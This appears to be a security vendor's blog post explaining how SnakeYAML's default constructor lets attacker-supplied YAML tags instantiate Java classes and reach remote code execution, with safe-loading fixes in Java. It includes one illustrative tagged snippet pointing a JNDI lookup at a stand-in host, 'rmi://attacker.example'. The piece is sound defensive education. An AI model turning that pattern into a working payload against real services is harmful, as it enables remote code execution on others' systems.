SnakeYAML deserialization: how a YAML parser becomes RCE

SnakeYAML deserialization: how a YAML parser becomes RCE

Written by

in

A snakeyaml deserialization bug turns a config parser into a remote code execution hole. SnakeYAML is the most common YAML library for Java, and its default loader does something surprising: it will build almost any Java object you name in the YAML itself. Feed it a tag that points at a dangerous class, and parsing the document is enough to run attacker chosen code. This post shows how that happens and how to switch the parser into a safe mode.

Why snakeyaml deserialization is dangerous by default

YAML looks like a harmless data format. Key value pairs, lists, indentation. But YAML has a feature most people never use on purpose: tags that name a concrete type. SnakeYAML’s default constructor honors those tags. When it sees a tag like !!com.example.Thing, it does not just parse data. It instantiates that class and calls its setters with the values you provide.

That is the whole problem. The document, which came from a user, gets to decide which Java classes are created. If you have never seen why rebuilding objects from untrusted input is risky, read our primer on what insecure deserialization is and the cluster hub on what a deserialization gadget chain is.

What a malicious YAML document looks like

A plain YAML document is just data:

name: acme-notes
replicas: 3
region: us-east

Now compare a tagged document. The !! prefix tells SnakeYAML to build a specific Java type and call its constructor or setters:

# Conceptual shape, not a working payload
!!some.jdbc.DataSource
jndiName: "rmi://attacker.example/Object"

The exact class varies, but the pattern is consistent. An attacker picks a type that, when constructed with attacker chosen fields, reaches a dangerous action. A common route is a type that performs a JNDI lookup, which can load and run a remote class. Another route is a type that wraps a scripting engine, so setting a property evaluates attacker supplied script. In both cases the attacker never needs your code to cooperate. The parser does the work.

From parse to code execution

Walk through what the default loader does with a tagged document:

  • It reads the tag and resolves it to a Java class.
  • It creates an instance of that class.
  • It calls setters or a constructor with the mapping values from the document.
  • If one of those calls triggers a lookup, a connection, or a script evaluation, that side effect happens during parsing.

You thought you were loading a config file. The loader treated it as a program and ran it, because you let the document name its own types.

This is the same root cause as the native Java case in the Commons Collections gadget chain, just reached through YAML tags instead of serialized bytes. The gadget classes that finish the job are whatever dangerous types sit on your classpath. YAML is only the delivery mechanism. For how researchers locate a usable sequence of classes, see finding deserialization gadget chains.

Where untrusted YAML sneaks in

People assume YAML is safe because they only use it for internal config. But untrusted YAML shows up in more places than expected:

  • An API endpoint that accepts YAML request bodies.
  • A webhook or CI system that parses a YAML file from a repository a user controls.
  • An import feature that reads a YAML document uploaded by a customer.
  • A message on a queue whose producer is not fully trusted.

Any of these, parsed with the default loader, is a path from attacker input to object construction. The question to ask about every YAML parse in your code is simple: could the bytes come from someone I do not trust?

How to fix snakeyaml deserialization safely

The fix is to stop letting the document choose types. SnakeYAML gives you safe constructors for exactly this.

  • Use SafeConstructor. It parses YAML into plain data, maps, lists, strings, numbers, and refuses to instantiate arbitrary Java types from tags. This is the right default for any untrusted input.
// Safe: no arbitrary type construction
Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
Map<String, Object> data = yaml.load(untrustedInput);
  • Bind to a known type explicitly. If you need a concrete object, tell the parser the one class you expect rather than letting the document decide.
// Safe: you pick the type, not the attacker
Yaml yaml = new Yaml(new Constructor(AppConfig.class, new LoaderOptions()));
AppConfig config = yaml.load(untrustedInput);
  • Upgrade SnakeYAML. Recent versions made the safe behavior the default for the common entry point, which closes the hole for code that never opted into the unsafe constructor. Still set the constructor explicitly so an upgrade or a refactor cannot quietly expose you again.
  • Keep untrusted YAML off dangerous classpaths. Fewer lookup and scripting classes available means fewer gadgets a tag can reach, the same defense in depth idea as trimming dependencies anywhere else.

The principle behind every deserialization fix

Typed, restricted loading beats open ended loading every time. The danger is never the format. It is handing untrusted input the power to name arbitrary types. The same principle fixes XStream deserialization, which relies on an XML deserializer coercing types, and it is why the network exposure in Java RMI and JRMP deserialization is so serious: it delivers the same class of payload over the wire with no login.

At heart this is an injection bug, untrusted input reaching a sink it should never touch. For more in that family, see our injection and input category.

Catching this means following a YAML body from the request edge to the exact yaml.load call and knowing whether that call used a safe constructor. Reasoning from source to sink about untrusted input reaching a deserializer is what UnboundCompute is built to do. More on our about page.

Frequently asked questions

Why is SnakeYAML deserialization a security risk?

SnakeYAML’s default constructor honors YAML type tags, so a document can name any Java class and the parser will instantiate it and call its setters. That lets an attacker who controls the YAML choose which classes get built, and some classes perform a remote lookup or run a script when constructed.

Is parsing YAML from a config file safe?

Only if the file is fully trusted. Untrusted YAML reaches parsers through API request bodies, webhooks, repository files, customer uploads, and message queues. If the bytes could come from someone you do not trust, the default loader is unsafe.

How do I parse YAML safely in Java?

Use SafeConstructor, which parses YAML into plain data such as maps, lists, strings, and numbers and refuses to build arbitrary types from tags. When you need a real object, pass the one class you expect to the Constructor so the document cannot choose a different type.

Does upgrading SnakeYAML fix the problem?

Recent versions make the safe behavior the default for the common entry point, which helps. Still set the constructor explicitly so a later refactor or a different code path cannot quietly reintroduce unsafe loading of untrusted input.


Put an autonomous researcher on your own systems

UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.